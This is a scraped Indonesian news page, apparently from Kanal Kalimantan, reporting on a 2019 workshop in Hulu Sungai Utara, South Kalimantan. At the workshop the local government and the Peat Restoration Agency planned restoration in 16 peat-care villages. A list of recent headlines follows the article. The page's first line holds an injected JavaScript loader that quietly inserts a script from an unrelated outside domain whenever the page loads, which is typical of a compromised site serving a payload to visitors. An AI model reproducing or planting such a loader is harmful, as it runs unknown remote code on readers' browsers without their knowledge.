(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Miliki Gambut Terluas di Kalsel, HSU Rancang Bangun 16 Desa Peduli Gambut


AMUNTAI, Kabupaten HSU termasuk wilayah yang mempunyai lahan gambut terluas di Kalsel. Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) bersama Badan Restorasi Gambut (BRG) menggelar workshop rancangan pembangunan kawasan perdesaan (RPKP) Kabupaten HSU tahun 2019.
Kegiatan berlangsung di Gedung Agung Lantai II Pemkab HSU, Senin (1/4/2019), dihadiri pejabat dan perwakilan SKPD Pemkab HSU, serta aparat dari 16 desa se Kabupaten HSU. Pemateri workshop, Muhammad Yusuf, Pokja Peningkatan Partisipasi Desa Gambut dari BRG mengatakan, lewat upaya restorasi gambut dilakukan melalui tiga pendekatan yaitu pembasahan, penanaman ulang serta merevitalisasi sumber mata pencaharian masyarakat sekitar lahan gambut.

“Program desa peduli gambut selama 3 tahun ini yang diimplementasikan Badan Restorasi Gambut ada di 16 desa. HSU memang memiliki kawasan gambut terluas di Kalsel,” ujar Muhammad Yusuf.

Di lain pihakAsisten III Setda HSU, H Ilham Hadi berharap output kegiatan ini memberikan manfaat yang besar khususnya untuk Kabupaten HSU. “Karena restorasi gambut bertujuan untuk mengembalikan fungsi ekologi lahan gambut dan sejahterakan masyarakat,” ujarnya.

 “Ini salah satu upaya membangun dan memperkuat desa dalam memuwujudkan kemandirian ekonomi pencaharian pertanian, perikanan, kerajinan dan peternakan di lahan gambut yang ada di HSU,” tandasnya.

Sementara itu, Kepala Bappelitbang HSU Hj Ina Wahyudianty mengatakan, sebagai akibat dari kebakaran hutan tahun 2015, terdapat banyak kerusakan lahan gambut di berbagai lahan di Indonesia, sehingga untuk mengatasi permasalahan tersebut pada tahun 2016 Presiden RI melalui Peraturan Presiden Nomor 1 Tahun 2016 membentuk Badan Restorasi Gambut.

BRG bertugas menyelenggarakan fungsi pelaksanaan koordinasi dan penguatan kebijakan pelaksanaan restorasi gambut meliputi perencanaan, pengendalian dan kerja sama penyelenggaraan restorasi gambut, pemetaan kesatuan hidrologis gambut, penetapan zonasi fungsi lindung dan fungsi budidaya. (dew)

Reporter:Dew
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

1 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

2 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

6 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

7 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

7 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

7 jam ago

This website uses cookies.